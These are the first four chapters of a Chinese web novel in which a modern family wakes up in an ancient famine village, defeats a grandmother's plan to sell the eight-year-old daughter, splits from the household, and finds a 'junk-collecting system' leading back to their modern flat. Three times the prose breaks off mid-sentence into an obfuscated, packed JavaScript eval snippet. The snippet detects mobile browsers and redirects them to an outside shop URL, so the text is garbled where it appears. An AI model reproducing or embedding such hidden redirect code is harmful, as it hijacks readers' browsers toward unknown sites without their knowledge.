《穿越逃荒,我靠捡垃圾养全家》 第1章 全家穿越? “我不管!说什么我也不能眼睁睁看着宁宁去当那劳什子的童养媳!” “你不同意?这个家什么时候轮到你做主了!” “就算你是宁宁的亲奶奶,也不能这样干啊!这跟卖孩子有什么区别?!” “好你个赵铁牛!我费心费力想给家里省一张嘴,你倒好,反过来戳你亲娘的脊梁骨?遭天谴的玩意儿,天打雷劈的混球……我这都是为了谁?!要不是这年景艰难,你又瘸了条腿,我用得着替五丫头想法子吗?!” …… 赵宁宁还没睁眼,就听见一阵山路十八弯似的哭嚎声。 ——哪儿来的吵架声?妈又在刷什么狗血短剧? 她迷迷糊糊地想着,睁开了眼。 映入眼帘的,却是只有年代剧里才会出现的、黑黢黢的木头房梁。 ——等等!这什么情况?! 赵宁宁心里咯噔一下,撑着酸软的身子慢慢坐起,目光飞快扫过四周:茅草顶,黄泥墙,窗户小得透不进什么光,地下是硬实的泥土地。 整间屋子不过二十平米,挤挤挨挨地塞了一大一小两张床。小床边摆着两个红漆斑驳的木箱,箱子上高高摞着两床薄如煎饼、补丁摞补丁的棉被。 “……我穿越了?” 赵宁宁瞪大了眼睛。 她正打量着新手村环境,房门”吱呀”一声打开,探进来一个脑袋。 枯黄瘦削的脸,因营养不良,五官显得有些凸出。如果不是十几年的朝夕相处,赵宁宁几乎不敢认。 “哥?” 那人见赵宁宁醒了,连忙侧身挤进来,压低声音:”妹!你可算醒了!妈……咱妈已经跟那边吵起来了!” 赵宁宁想坐直,稍一用力便觉得额头抽痛,下意识伸手去捂,这才发现她哥赵启的额角也鼓着一个醒目的大包。 “别问,是穿越了,妈正在战斗。”赵启快步过来扶住她,一边将她往床上按,一边语速极快地同步信息,”这里的老太太,也就是咱‘奶奶’,要把你卖了当童养媳,换钱给她宝贝大孙子娶媳妇。” “爸穿过来的时候腿就伤了,妈身上也挂了彩,我挨了顿打,你……原主被人推下山沟,脑袋磕石头上了。” 说完,他仔细瞅了瞅妹妹的眼睛:”怎么样,没傻吧?” “你才傻!”赵宁宁没好气地回了一句,又疑惑,”你怎么确定是我?万一是别人穿过来呢?” 赵启白了她一眼:”你从零岁到十七岁都是我陪着你长大的,你化成灰我都认得。先别动,躺着装晕。妈想趁这个机会闹分家。” “那不行。”赵宁宁一把掀开身上梆硬的薄盖被,”就妈一个人能打?咱俩得赶紧想辙。” 赵启没拦住——也是,穿越前妹妹就差一岁成年,主意大着呢。 赵宁宁一边揉着发胀的太阳穴,一边循着原主零碎的记忆往外走。刚到门口,院子里尖厉的争吵声便清晰涌来。 她竖着耳朵听了几句,戳了戳跟过来的赵启:”长话短说,到底怎么回事?” “这家爹排行老二,上头有大哥,下头有小弟小妹,爹不疼娘不爱。这几年闹旱灾,家里穷得叮当响。本来指望咱爹这个壮劳力,结果他前几天去县城打工,摔断了腿。”赵启喘了口气,接着道,”治腿花了五百文没见好,家里就不乐意了,说爹以后是废人,白吃粮食。再加上他们那个大金孙要娶镇上的姑娘,聘礼开口就要二十两,家里掏不出,就把主意打到你头上……” 后面的事,不用赵启说,赵宁宁也随着记忆复苏全”想”起来了。 那钱婆子早就找好了”买家”,先是骗原主单独上山挖野菜,又叫上大儿媳尾随,打算敲晕了直接送过去。对村里则谎称五丫头被野狼叼走了,死无对证。 等过几年,即便事情败露,生米也煮成了熟饭,她们和买家早已串通好说辞,只说人是”救”回去的。 只可惜人算不如天算。原主在山上找野菜找不到,在沟里发现了一小片野菜,正准备过去挖,钱婆子跟过去,下手时原主挣扎反抗,被钱婆子失手推下山沟,后脑重重磕在石头上,当时就没了气息。 两个妇人吓得魂飞魄散,连看都不敢多看一眼,连滚爬爬逃回家,互相赌咒发誓绝不泄露半句。 直到天色渐晚,迟迟不见女儿归来的原主娘带着儿子上山寻找,才将昏迷中尚有微息的女儿找到,给人背了回来。 见五丫居然没死,钱婆子松了口气,死活不肯掏钱请大夫。原主娘也是没办法,只能回娘家借了几十个铜板,找来村里的赤脚大夫。大夫看了直摇头,开了几味寻常草药,让煎了喂下去,说能不能醒过来就看命了。 ——这都什么豺狼窝! 赵宁宁越想越气,一股热血直冲头顶,连额头的痛楚都压了下去。她转身就往外窜,赵启想拉都没拉住。 从后院绕到前院,争吵声越发大起来。 院子里,一个三十出头、肤色黝黑、身形干瘦的汉子正扶着土墙勉强站立,脸上满是悲愤。他身旁是个同样瘦削的妇人,两人被七八个人堵在墙角,势单力薄。 赵宁宁看了一眼自家”爹娘”的处境,眼珠一转,没急着冲过去,反而悄无声息地溜出院门。 赵启则趁机贴着墙根挪到宁妈身边,压低声音飞快说了句:”妹妹醒了,没事。” 宁妈紧绷的脊背几不可察地松了一瞬,一家四口,四个人都清醒了,这是眼下最好的消息。 担忧的心放进肚子,宁妈来不及过问,对面的人骂完,直接动起手来。 “我看你是失心疯了!五丫一个赔钱货,这年景,能换袋粮回来都是她积德!我费了多少唾沫星子才给她寻了个好去处,到你嘴里倒成了卖人?!”钱婆子骂得唾沫横飞,伸手就习惯性地要去掐二儿媳腰间的软肉——这是她拿捏儿媳的惯用手段。 可她万没想到,今天这二儿媳像是换了个人。往日里逆来顺受的鹌鹑,此刻眼神却锐利得骇人。 眼看她那双手就要碰到宁妈,一直扶着墙的宁爸猛地将妻子往身后一拽,用自己半边身子挡住,嘶声喊道:”住手!” “你、你反了天了?!”钱婆子不敢置信地瞪着向来老实巴交的二儿子,气得浑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229726|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身哆嗦,”你个不孝的白眼狼!我白养你几十年,你竟敢向着外人?!” 话音未落,她一巴掌狠狠扇了过去! “啪”一声脆响,宁爸脸上登时浮起一个清晰的掌印,本就虚浮的身子被打得一个趔趄,全靠身后的宁妈死死抵住才没倒下。 宁妈扶稳丈夫,将他轻推到墙边倚好。再抬头时,眼里已盛满怒火。 “你敢打他?!”宁妈声音不高,却带着一股让人心头发寒的戾气。 钱婆子被她这模样吓得一愣。 就这电光石火的一瞬,宁妈动了。她一步上前,单手揪住钱婆子的前襟,不容反抗地将人狠狠掼向旁边的土墙! “砰!砰!” 沉闷的撞击声听得院里其他人头皮一麻。 没等众人反应,宁妈目光已扫向墙角那堆待劈的干柴。她快步过去,从中抽出一根最趁手的,返身回来,棍风一扫—— “哎哟!” “妈呀!” 站的最近的几人猝不及防,被棍子扫中小腿,顿时惊呼着你推我攘跌作一团。 赵启默默把头缩了缩,往他亲爹身边又挪了半步……他差点忘了,自家老妈当年可是能单挑小偷团伙的。这家子,真是精准踢到了铁板上。 钱婆子被那一棍子扫倒在地,索性不起来了,拍着大腿便开始号哭:”没天理啦!儿媳妇打婆婆啦!我辛辛苦苦养大的儿子,就在边上看着啊……白眼狼!都是白眼狼!” 小儿媳战战兢兢想去扶,手刚伸过去就被钱婆子一巴掌拍开:”滚开!没用的东西!” 场面正混乱不堪时,院门外传来了急促的脚步声。 赵宁宁领着王李村的里正和村长,适时赶了回来。 “闹什么呢!成何体统!”村长一进院,看见坐地号哭的钱婆子就觉太阳穴突突直跳。 “我命苦啊——”钱婆子嚎得更起劲了,捶胸顿足,”一把屎一把尿把铁牛拉扯大,给他娶了媳妇,他就纵着这泼妇打我啊!乡亲们都来看看,这还有没有王法了!” “王法?”宁妈冷笑一声,根本不吃她撒泼这套,直接扬声道,”村长,里正,您二位来得正好!我正要问问,这天下有没有王法,允不允许当亲奶奶的,为了给孙子凑聘礼,就把孙女偷偷卖了当童养媳?!” “卖孙女”三个字像一盆冷水泼进了油锅。 炸得钱婆子哭声戛然而止,一个骨碌爬起来就要去捂宁妈的嘴:”你胡咧咧什么!我撕烂你这张破嘴!” “不要打我娘——” 一声带着哭腔的童音尖叫起来。 只见一个瘦小的身影猛地从旁边扑过来,重重撞在钱婆子身上。钱婆子猝不及防,被撞得一个趔趄。 **的正是赵宁宁。她扑进宁妈怀里,只露出后脑勺上那个硕大的、还渗着血的硕鼓包,身子一抽一抽,呜咽着说: “奶……奶奶别卖我……我听话……别打我娘……” 那伤口在正午的阳光下,触目惊心。 里正的脸色,瞬间沉了下来。 “老赵家的,你来给大伙儿说说,这究竟是怎么一回事?!” 第2章 分家?我不同意! 一直瑟缩在钱婆子身后的赵老头,眼见躲不过去,只得佝偻着背,慢吞吞地挪了出来。 他抬起那双常年耷拉着的三角眼,先斜楞了宁妈一眼,又冷冷扫过赵宁宁,这才瓮声瓮气地开口:“里正、村长,莫听丫头片子胡说,这都是没影儿的事。” “对!就是这死丫头满嘴的胡话!”钱婆子立刻又挺直了腰板,手指头几乎要戳到赵宁宁鼻尖上,“咱老赵家是正经人家,能干那丧良心的勾当?分明是这丫头片子不服管教,顶撞长辈!还有这个儿媳……” 她话锋一转,指向宁妈,拍着大腿嚎起来,“哎呦喂,刚才抡着棍子往我身上招呼!老天爷开开眼,怎么不降道雷劈了这忤逆不孝的东西!” 早在看到人影时,宁妈就已将棍子扔远,赵启更是机灵,顺手就将其塞回了柴火垛深处。此刻院中干干净净,那几个方才叫嚷挨打的人,身上除了倒在地上时沾的浮土,哪有一丝伤痕?庄户人家,身上带点土再正常不过。 “行了!”村长目光转向一直扶着土墙、面色灰败的赵铁牛,声音沉了沉:“铁牛,你脸上这巴掌印,怎么回事?” 宁爸身子微微一颤,伸手缓缓指向钱婆子:“是……是娘打的。娘想……想把五丫卖给镇上孙家……当童养媳。” “五丫才八岁,我、我舍不得,娘气急了,就……” 他说着,头垂得更低,语气越发低落:“都怪我!腿废了,干不了活,成了累赘……娘也是没办法,把五丫卖掉,能让家里少张吃饭的嘴。” “放屁!什么叫卖!那叫嫁!明媒正娶!”钱婆子如同被踩了尾巴的猫,尖叫着又要扑上去,却被里正横过来的烟斗拦下。 “老赵家的!”里正的声音不大,却带着久经人事的威严,“镇上的孙家是个什么情形,十里八乡谁人不知?那家的儿子——”他顿了顿,终究是没把“傻子”二字当众说出口,只重重哼了一声,“那是能结亲的人家吗?!” 孙家三代单传,孙老头死得早,孙大娶了媳妇没多久,因为喝酒惹事被人报复断了子孙根,指望着肚子里的孩子能继承香火呢,结果生出来是个天残,如今都快二十岁了,还在街上跟在牛尾巴后面跟人抢牛粪——人家捡回去是肥田用的,他抢了直接往嘴里塞! 这般人物,但凡有口饭吃的人家,谁肯把女儿往里推? “你若真把五丫送进孙家,”村长接过话头,目光锐利地扫过院里的赵家晚辈,“咱们王李村的脸面还要不要了?往后村里姑娘说亲,人家不得先掂量掂量,你们老赵家是不是卖女求荣的人家?你这几个孙女,”他指着躲在人后的几个丫头,“还想不想嫁个好人家?!” 这话已说得极重,几乎是指着鼻子骂他们败坏了全村的风气。 钱婆子脸上红白交错,嗫嚅了半晌,才强辩道:“那……那也不是卖……” “要是好事,能轮得到一个八岁的丫头?!”素日里唱红脸的里正也动了真火。老赵家那四十亩地,谁不知道是全靠赵铁牛一家当牛做马在操持?五丫才丁点大,就跟在爹娘身后提水浇地,小脸晒得黝黑。大热天让小女娃下地,全村独此一家! “咱们王李村,还没到要靠卖儿卖女度日的地步!”里正将烟杆往地上重重一磕,把话撂下。 “可……可这年景,实在是没法子了啊!”钱婆子眼看硬的不行,立刻换上一副愁苦面容,拍着大腿开始哭穷,“老二这腿一断,家里等于塌了半边天,少了个顶梁的壮劳力,往后这一大家子的嚼用可怎么办哟……” 一直缩在旁边的赵老三见状,悄悄挪到钱婆子身边,压低声音道:“娘,依我看……不如分家。” “分家?”钱婆子眼皮一跳。 “二哥这腿……怕是废了。”赵老三声音压得更低,透着算计,“留家里也是白吃粮食。眼看收成一年不如一年,把老二分出去,家里立马少四张嘴吃饭。地里的活……不是还有大嫂和我媳妇么?” 钱婆子眼神闪烁,下意识看向墙角的老二一家。赵铁牛瘸着腿,面如死灰;周氏紧紧搂着瘦小的五丫,眼神像护崽的母狼;赵启那小子也梗着脖子。 是啊,老二废了,周氏和两个半大孩子能顶什么用?反倒张着四张嘴,肚子跟无底洞一样。 “反正又不用您干活,”赵老三趁热打铁,“早点分出去,也省得过两年三小子要娶媳妇,那又是一大笔开销……” 钱婆子心头那点犹豫的天平彻底倾斜。她猛地抬头,冲着里正喊道:“分!里正,村长,我们要分家!今天就分!” “娘!不要啊娘!”宁爸仿佛遭受晴天霹雳,挣扎着想往前扑,却因腿伤一个踉跄,他捶打着自己的残腿,“儿子腿是废了,可儿子还能给娘端茶倒水啊!娘,您不能不要儿子啊!” 他哭得情真意切,黑瘦的脸上涕泪纵横,看得旁观者都不落忍。 里正和村长却皱紧了眉。赵铁牛腿伤未愈,此时分家,无异于将这一房逼上绝路。老赵家这心思,未免太狠了些。 “娘!我想好了,我不分家!”宁爸像是抓住了救命稻草,急切地说,“我腿虽断了,但手是好的!我能做饭,能喂鸡,能编筐!大哥,三弟,地里的活你们多辛苦,家里的活我全包了!我绝不吃白饭!” “不行!必须分!”钱婆子斩钉截铁,“养你还不如养条狗!狗还知道护主呢,你看看你媳妇今天是怎么对我的?你拦都不拦一下,白眼狼!” “娘——!”宁爸整个人顺着土墙滑坐在地,双手捂脸,肩膀剧烈耸动,闷声哭着:“没了娘,儿子可怎么活啊……” 赵宁宁也扑过去,抱着宁爸的腿,仰起小脸哭喊:“奶!您要卖我就卖吧,别不要爹啊!爹都喝了三天清水了,米粒都没见着几颗!现在青黄不接,把我们分出去,我们全家只能去喝西北风了!呜呜呜……” “清水?”村长眼神一厉,看向钱婆子,“钱氏,铁牛伤成这样,你就给他喝清水?” “小贱种胡说八道!那是粥!稀粥!”钱婆子脸上闪过一丝慌乱,随即更加恼羞成怒,“分!今天天王老子来了也得把这家分了!” 她心里的小算盘拨得飞快:再过半月就能收粮,现在分家,正好省下这四口人半个月的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229727|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮。铁牛的腿反正好不了,迟早是拖累,不如早断干净。至于卖五丫那十两银子……她心疼地瞥了一眼旁边脸色铁青的大孙子。 果然,赵文远忍耐不住,一把甩开钱婆子想安抚他的手,急赤白脸地低吼:“奶!现在分家,我拿什么去曹家下聘!曹姑娘那边……那边等不起啊!” 他用怨毒的目光狠狠剜向赵宁宁,都怪这死丫头!要不是她反抗跑了,十两银子早就到手了!曹姑娘也不用被迫去给那老员外做妾! 里正和村长听到他的话头,心里皆是一震。原来根本不是因为荒年,而是为了给大房的孙子凑聘礼?! 大房家要娶孙媳妇,关二房什么事!? 赵宁宁适时地从宁妈怀里抬起头,颤抖着手指向赵文远,问道:“爹、娘,奶是不是要卖了我,换银子,给他娶媳妇?” 看似是在问爹娘,实际上是把钱婆子扯来的遮羞布拉下来,直接往地上丢。 “五丫头!你脑袋摔糊涂了?胡咧咧什么呢?再胡说我撕烂你的嘴!”钱婆子阴狠地说着,脸色变得极为难看。 赵宁宁吓得直往宁妈怀里钻。 “娘,你不用说了,我们都知道,你是想把五丫嫁出去,拿来的银子好给文远娶媳妇。”宁妈抱着赵宁宁,也不知道这家人之前只吃那一层薄薄的稀粥是怎么活下来的,赵宁宁身上连二两肉都没有,瘦得只剩一把骨头。 就这样瞒着家里要把这孩子抓走卖给别人家,越想越生气,宁妈直接气哭,再说话的时候声音都带着一丝凄厉:“宁宁她才八岁!” 她猛地抬头,红着眼睛看向一直躲在人后、打扮得齐整体面的大房二丫,“要说嫁人,二丫十六了,正当年纪!她怎么不嫁?!偏要隔了房的五丫去?!” “那怎么行!”赵文远第一个跳出来,反应激烈。那可是他亲妹妹! “怎么不行?”宁爸瘸着腿走上前,“娘!二丫年纪大,懂事,嫁过去就能当家!孙家肯定更愿意,说不定……聘礼还能多加几两呢!这可比五丫划算多了啊!” “放屁!”钱婆子气得眼前发黑,差点背过气去。 二丫是大房精心娇养,双手不沾阳春水,准备将来许给大户人家到城里享福的!哪能跟孙家那傻子扯上关系?三十两彩礼她都看不上,何况十两?老二这混账,竟敢把主意打到二丫头上! 老赵家年景好的时候,可是一直供着赵老三和大孙读书的,也就这两年实在是连吃饭都成问题了,这才断了两人的私塾。 但这几年的束脩没有白交,夫子一直夸赞赵老三和赵文远文采不错,能考上秀才的,甚至赵文远还差几名就能考上童生。 二丫以后很有可能就是秀才的妹妹!到时候,不说富贵人家,就是秀才夫人她都当得起! 眼看这场闹剧越发不堪,村长忍无可忍,沉声道:“都闭嘴!要分家,就按规矩来。分完之后,各房婚嫁,自行做主,互不干涉。” 赵宁宁眼睛一亮。这好呀!分了家,至少不用担心自己会被卖了。 “不行!”钱婆子尖声反对。 此刻不同意分家的,又变成了她。 第3章 断亲 闻言,宁爸满脸惊喜,脸上泪花都来不及擦,瘸着腿就要去扶钱婆子的胳膊,开心地问道:“娘!您同意不分家啦?” 他的手刚碰到钱婆子,就被对方嫌恶地一巴掌甩开。 “想得美!”钱婆子啐了一口,“我不是那个意思!” 她眼珠子骨碌碌转着,心里的小算盘打得噼啪响:眼看就要收粮,早分早省心!只是那五丫……必须得扣下! “分家也行,”她缓缓说:“你,周氏,还有三小子,你们三个分出去吧。五丫给我们留下。” 话一出口,她又觉得有点亏。三小子赵启毕竟十二了,半大小子,也算半个劳力……可转念一想,这小子心思活,没少在家里生事,过两年还得花银子给他张罗媳妇。 想了想,钱婆子还是决定不要了,孙子她可不缺。一个养不熟的白眼狼,不要也罢! “娘!这、这怎么能行!”宁爸惊呆了,不可置信地凑过去,试图抓住钱婆子的袖子,“娘!您宁可要个丫头片子,也不要我这个亲儿子了吗?那、那您把我留下!把他们娘仨分出去!行不行?” “去去去,谁要你!”钱婆子用力甩开他,像驱赶一只烦人的苍蝇。 里正看得眉头紧锁。他活了半辈子,头一回见这般分家的。别家是爷奶心疼孙辈才留下抚养,老赵家这分明是留下羊羔,等着扒皮吸髓! “胡闹!”里正沉声喝道,“钱氏,咱们王李村没这规矩!孩子必须跟着爹娘!” “咱村没有,别村还没有吗?大马村就有一例!”钱婆子梗着脖子强辩,眼珠一转,又改了主意,“行!五丫你们带走也行——拿十两银子来换!” “娘?您原来不是疼五丫,只是要那十两银子?!是不是要么五丫嫁去孙家,要么……就得给您十两?!”宁爸颤抖着嘴唇,话都说不完整。 钱婆子被说中心事,脸上闪过一丝慌乱,却立刻板起脸狡辩:“胡、胡说什么!我是怕你们分家后,转头就把五丫卖了换钱!这十两……就当是押金!对,押金!放在我这儿,我才放心!” 她越说越觉得自己有理,叉腰挺胸,声音尖厉:“反正,要么给银子,要么留人!十两,一文都不能少!” “十两……”宁爸失魂落魄地喃喃道:“我就是天天去城里扛大包,一天也挣不到二十文……十两银子,您这是……这是要逼死儿子啊……” 除非,他拿到分家文书后,立刻把五丫“卖”给孙家。否则,这就是一条绝路。 “我不管!”钱婆子把头一扭,“拿银子,分家;拿不出,五丫留下!” “娘——!”宁爸拖着伤腿向前扑了几步,几乎要跪下,“您这是……这是要逼儿子**吗?!” 赵宁宁也适时跟着哭起来:“爹!我不要留下!奶会把我卖掉的!爹——!” 村长气得胡子直翘,想开口呵斥,却被里正一个眼神拦住。里正微微摇头,小声说了什么,村长这才作罢,静观小院内的闹剧。 “少给老娘扣屎盆子!谁逼你了?”钱婆子不耐地伸出手,猛地将哭泣的赵宁宁拽到自己身边,死死攥住那细瘦的胳膊,“银子拿来!不然这丫头今天就别想走!” “娘!五丫是周氏身上掉下来的肉啊!您不能硬拆散她们母女!”宁爸扑过来想抢回女儿,却被钱婆子用力一推。 本就瘸着腿的宁爸哪里经得起这一推,顿时跌坐在泥地上,抱着伤腿,痛哭出声。 “娘……您不认儿子,儿子认了……可您不能……不能强抢孙女啊……” “少废话!要么银子,要么人!”钱婆子听到“周氏”二字,攥着赵宁宁的手更紧了几分,警惕地扫视着宁妈,生怕这个今日反常的儿媳再暴起**。 今天,她是吃了秤砣铁了心,不见银子不撒手。 “好……好……”宁爸瘫坐在地上,“既然娘只要银子,不要我这个儿子……那也行!十两银子,我给你!但你要签断亲书!从今往后,我赵铁牛一家四口,与你老赵家恩断义绝,再无瓜葛!” “断亲书!?” 这三个字如同惊雷,炸得钱婆子脸色骤变,“你个不孝的混头!我是你亲娘!怀胎十月生下你,你就为这点事要断亲?!天打雷劈的白眼狼!” “奶,”赵宁宁趁她激动,怯生生地插话,“我……我也是我娘十月怀胎生的呀。您把我从娘身边抢走……是不是也想当……‘白眼狼’?” “小贱蹄子!我撕了你的嘴!”钱婆子被戳中痛处,恼羞成怒,抬手就朝赵宁宁脸上狠狠扇去! “钱氏!住手!”里正眼疾手快,一把拦住,顺势将赵宁宁夺回,护送到周氏身边。 村长也终于忍无可忍,责问道:“钱氏!当着我们的面还敢撒泼打孩子?!这分家,你到底还分不分!不分我们就走,没空看你们家在这吵闹!” 日头渐高,院外围观的人越来越多,指指点点的声音隐约传来。赵老头脸上挂不住,咳了两声,低声道:“老婆子!别丢人现眼了!” 钱婆子环视一圈,看到二房一家瘸的瘸,伤的伤,心一横:断就断!老二最是心软念旧,过几天拿点甜头哄哄,还怕他不自己把断亲书撕了? “断就断!”钱婆子松口道,“十两银子!限你们一个月内凑齐!不然,五丫我立马领回来!” 这话一出,宁爸也不在地上哭了,慢慢扶着儿子起来,还是一副伤心欲绝的表情,“娘说什么……便是什么吧!” 见两边吵的有了结果,村长立刻命人去取笔墨。赵老大搬出堂屋的破旧方桌和条凳,村长就坐在院里,写起了分家文书。 老赵家根基浅,没有族老,村长又请来村里几位德高望重的族**同见证。 分家结果令人咋舌:赵家四十亩地,赵铁牛只得最贫瘠的两亩;房屋仅分得眼下住的这间破茅屋;现钱五百文;鸡两只;碗筷按人头各一套;另有一个泥炉、一口豁了边的陶锅。 这分法,薄得让人心寒。几位后来才到的族老听得直摇头,还想再劝钱婆子顾念骨肉之情。 钱婆子却铁了心,任谁劝都油盐不进。 分家文和断亲文书写好,宁爸听里正读完,没有丝毫犹豫,直接在纸上按下鲜红的手印。 一式三份,里正收好一份,叮嘱宁爸下午随他进城办理户籍变更。 闹腾了一上午,尘埃落定。一家四口闩好房门,终于有时间坐在屋子里说话。 “渴死我了……”赵宁宁舔了舔干裂的嘴唇,在空荡荡的屋子里转了一圈,连个破水瓢都没找到,除了屋子里原有的,分家真的只分了刚才念的那些,一丝多余都没有。 “今天多亏宁宁机灵,跑得快。”宁妈将女儿拉过来,心疼地摸了摸她后脑勺开始结痂的伤口附近,“还疼吗?” 赵宁宁摇头,压低声音问:“爸,妈,哥……这到底怎么回事?咱们不是在家睡觉吗?怎么一睁眼,全家都穿越了?” “我们也就比你早醒一会儿。”宁爸靠在床边,脸色因腿疼有些苍白,“我是疼醒的,你妈听见动静也醒了。” “我是被妈摇醒的。”赵启接口,“我们都醒了,就你怎么也叫不醒,妈看见你后脑勺的血包,吓得够呛。外面又吵着让出去干活,妈才让我留在屋里守着你……后面的事,你都知道了。” “那穿越的原因呢?”赵宁宁瞪大眼睛,“咱们睡前好好的,难道……世界末日了?” “别瞎说!”宁妈轻轻拍了她一下,“原因不重要,重要的是咱们一家四口都在一起。在这人生地不熟的古代,这就是最大的底气。” 赵宁宁点点头,心下稍安。确实,全家穿越,总好过一个人孤军奋战。穿越前,她是刚结束高考的准大学生,哥哥是大三工科宅男,父母是普通职工,工作之余喜欢爬爬山钓钓鱼,时不时全家还会搞个徒步露营。 “嘿,说起来。”宁爸挠挠头,有点不好意思,“我刚有意识那会儿,还以为是做梦呢。融合了记忆才发现,没准儿,这就是咱们的前世?你看,年龄、长相、家庭关系,都对得上。” “有可能。”宁妈沉吟,“不过,这个大周朝是历史上哪个周?宁宁,你刚高考完,历史还记得吧?” “妈!我考完知识就从我脑子里飞走了。”赵宁宁扶额,“再说了,咱家都是学理科的,没一个擅长历史的。” 虽说义务教育阶段也学了,赵宁宁回想了一下,还真对这个大周朝没有印象,也可能是她上课没认真听,学漏了。 一直沉默的赵启忽然开口:“这个大周朝,不是我们知道的任何朝代。” 三双眼睛齐溜溜地看向他。 “朝代名虽然一样,但开国皇帝、历史事件……全都对不上号。这是一个完全陌生的平行时空。”赵启冷静地抛出结论。 “管它平行不平行,来都来了。”赵宁宁甩甩头,将注意力拉回现实,“现在的问题是,咱们怎么活下去。爸的腿……” 三双眼又齐齐望向宁爸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229728|197609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>他坐在床边,左腿上一道十公分长的血痂还泛着红,明显是有点发炎。 “你爸的腿应该能治好!”宁妈语气坚决,给家人打气,“还好现在分家了,咱们自由了!齐心协力,尽快弄到钱,送他去城里找好大夫!” “对!听**!”宁爸朝妻子露出一个信赖的笑容。 “好!”赵宁宁重重点头,心里却忍不住幻想:要是能回到现代就好了,这种伤,去医院拍个片,打个石膏…… 赵宁宁心里刚起了个回家的念头。 下一秒,天旋地转。昏暗的茅草屋骤然消失,眼前投来了明亮而熟悉的光线。 光洁的瓷砖,雪白的墙壁,熟悉的入户门…… 赵宁宁跌站在瓷砖地上,愣了两秒,随即狂喜地四处打量——是她家现代住宅的电梯厅! “我……我回来了?!” 她激动得几乎语无伦次,冷静下来后,她往前走几步,迫不及待地按下大门上的指纹锁。 “滴!指纹解锁失败!” 冰冷的电子提示音响起,同时,一个半透明的淡蓝色光屏突兀地悬浮在她眼前: 【系统提示:玄关区域暂未解锁。权限不足,无法进入。】 赵宁宁:“???” 回家还要权限?! 她不死心地环顾四周:电梯、消防栓、紧闭的安全通道大门……还有另一扇不常用的入户门,赵宁宁过去试了,还是没有权限。 得到金手指的喜悦褪去,巨大的失落袭来,赵宁宁心念一动,身形再次从原地消失。 “宁宁!” 刚一回到茅屋,赵宁宁就被焦急守候的宁妈一把抓住。 “妈!我刚才回家了!”赵宁宁整理好心情,把刚才的所见所得说出来:“回咱们现代那个家!但是我进不去门,说我没权限,玄关区没解锁……” “回家?是回咱们现代那个家吗?”宁妈见女儿没事,心放下来之后,忙追问:“你怎么回去的?怎么又回来了?” “刚才我一想,就回去了,但是我只能站在电梯厅,进不去家门,说什么玄关区域未解锁?”赵宁宁把胳膊从自己亲娘手里拿回来,揉了揉。 宁爸问道:“这是不是那个什么异能?!” “什么异能技能的,这应该叫金手指!”赵启说:“是不是触发空间金手指了?之前看小说有那种带着超市穿越什么的,你是带着咱家穿越了?” “应该就是!”赵宁宁说:“可我进不去呀,只能看着大门发愣,说我没权限!” “既然提示说有权限,那肯定也有解锁权限的方法,你要不再进去看看?”赵启说:“别着急,我们几个给你看着这边,你慢慢探索。” 在家人们充满鼓励和期待的目光中,赵宁宁深吸一口气,集中精神,默念:“回家。” 一闪身,她又回到熟悉的电梯厅。 冰冷的防盗门依旧紧闭。她不甘心地试了试门把手,纹丝不动,面前仍是蹦出来一个没有权限的系统提示。 赵宁宁冷静下来,仔细观察这里。 他们家是买了两套房打通的,门口被宁爸安排着打了两组鞋柜,上面还放了一盆绿萝,一切如常。 赵宁宁环顾四周,看到电梯门口有袋垃圾。 ——不!这不是垃圾,这是宝贝啊! 他们家的垃圾都是丢电梯门口的固定点位,物业管家会安排打扫卫生的工作人员每天上门收垃圾。 但是赵宁宁家的厨余垃圾,都会在他们晚餐结束后去楼下散步的时候顺手丢垃圾桶里,门口这袋垃圾是宁妈昨天晚上为了腾地方特意收拾的。 如果没记错的话…… 她小心地捡起来,轻轻打开黑色塑料袋,里面是半袋红豆、一小包百合,都是过期的。 搬来这边的时候宁妈就要丢掉,赵宁宁看离保质期还有两个月,抱着宁妈的大腿不让扔,搬来这边之后全家人又都忘了这茬,昨天大清扫的时候才再次被翻出来。 里面就生了一点虫,丢掉坏的,其他洗洗还能吃! 除了红豆和百合,袋子里还有五盒过生日的蜡烛和火柴,还有一件秋衣包着的破损花瓶。 这个花瓶是昨天整理东西的时候,不小心被纸箱碰掉在地上的。 【系统;恭喜宿主赵宁宁激活“捡破烂系统”,望宿主做大做强,争做大周破烂王!】 【系统:恭喜宿主赵宁宁捡到垃圾一袋,解锁成就“我捡垃圾养你啊”,解锁区域“新苑小区”,请宿主再接再厉,争做大周破烂王!】 第4章 金手指 “什么?”赵宁宁看到眼前的提示面板愣住。 系统再次提示: 【系统;恭喜宿主赵宁宁激活“捡破烂系统”,望宿主做大做强,争做大周破烂王!】 